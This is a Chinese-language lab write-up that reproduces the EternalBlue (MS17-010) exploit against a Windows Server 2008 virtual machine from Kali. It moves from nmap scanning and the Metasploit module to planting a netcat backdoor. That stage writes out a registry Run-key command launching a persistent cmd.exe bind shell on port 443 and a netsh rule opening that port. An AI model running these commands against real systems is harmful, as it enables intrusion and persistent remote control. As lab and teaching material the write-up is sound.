复现|永恒之蓝，nc后门上传

  须知：本次复现中均使用虚拟机环境，严禁对其他物理机进行渗透测试。

 lhost:Kali

rhost:Windows Server 2008

永恒之蓝漏洞[eternalblue][编号:ms17-010]

漏洞利用案例：勒索病毒

复现步骤：

一、信息收集

1.1 使用nmap扫描网段，寻找靶机

nmap -sP 192.168.224.0/24 > scan2s08.txt

 1.2 找到目标机器IP，使用nmap查看开放端口

nmap 192.168.224.128 > scan2s08.txt

1.3 观察到开放了139和445端口，猜测可能会有永恒之蓝漏洞利用

二、漏洞利用

2.1 使用msfconsole命令，调出控制台

msfconsole

2.2 使用search ms17-010命令搜索和永恒之蓝相关的脚本模块

search ms17-010

2.3 先试用扫描模块看看能否利用漏洞

use 3  #使用攻击模块3
set rhosts 192.168.224.128  #设置目标IP

2.4 Host is likely VULNERABLE to MS17-010!该主机很有可能存在永恒之蓝漏洞

2.5 入侵成功

三、上传后门

3.1 输入upload /usr/share/windows-binaries/nc.exe命令，上传nc脚本到靶机。

（默认上传目录：C:\Windows\system32）

3.2 将nc脚本加入到开机自启动

reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe'

REG命令用于修改Windows注册表；

解析注册表键路径：HKLM\software\microsoft\windows\currentversion\run

解析要设置的值名称：lltest_nc

解析指向的程序路径和参数：C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe

并开启443端口

netsh advfirewall firewall add rule name="test443" protocol=TCP dir=in localport=443 action=allow

 

netsh advfirewall firewall：netsh`是一个配置命令行工具，advfirewall`是 Windows Firewall 的配置模块，firewall`是子模块，用于管理防火墙规则。

add rule：这个命令用于添加一个新的防火墙规则。

name="test443"：这是为新规则指定的名称，这里是 "test443"。

protocol=TCP：指定协议类型为 TCP。

dir=in：指示这是入站规则（inbound），即允许进入系统的流量。

localport=443：指定本地端口为 443，即允许端口 443 的入站连接。

action=allow：指定规则的动作是允许（allow），即允许匹配的流量通过防火墙。

3.3 重启靶机（目的是运行nc.exe）

3.4 重启后发现，nc正在运行

3.5 在Kali命令中输入nc -v 192.168.224.128 443(nc -v [IP] [Port])

连接成功，成功进入靶机的命令行。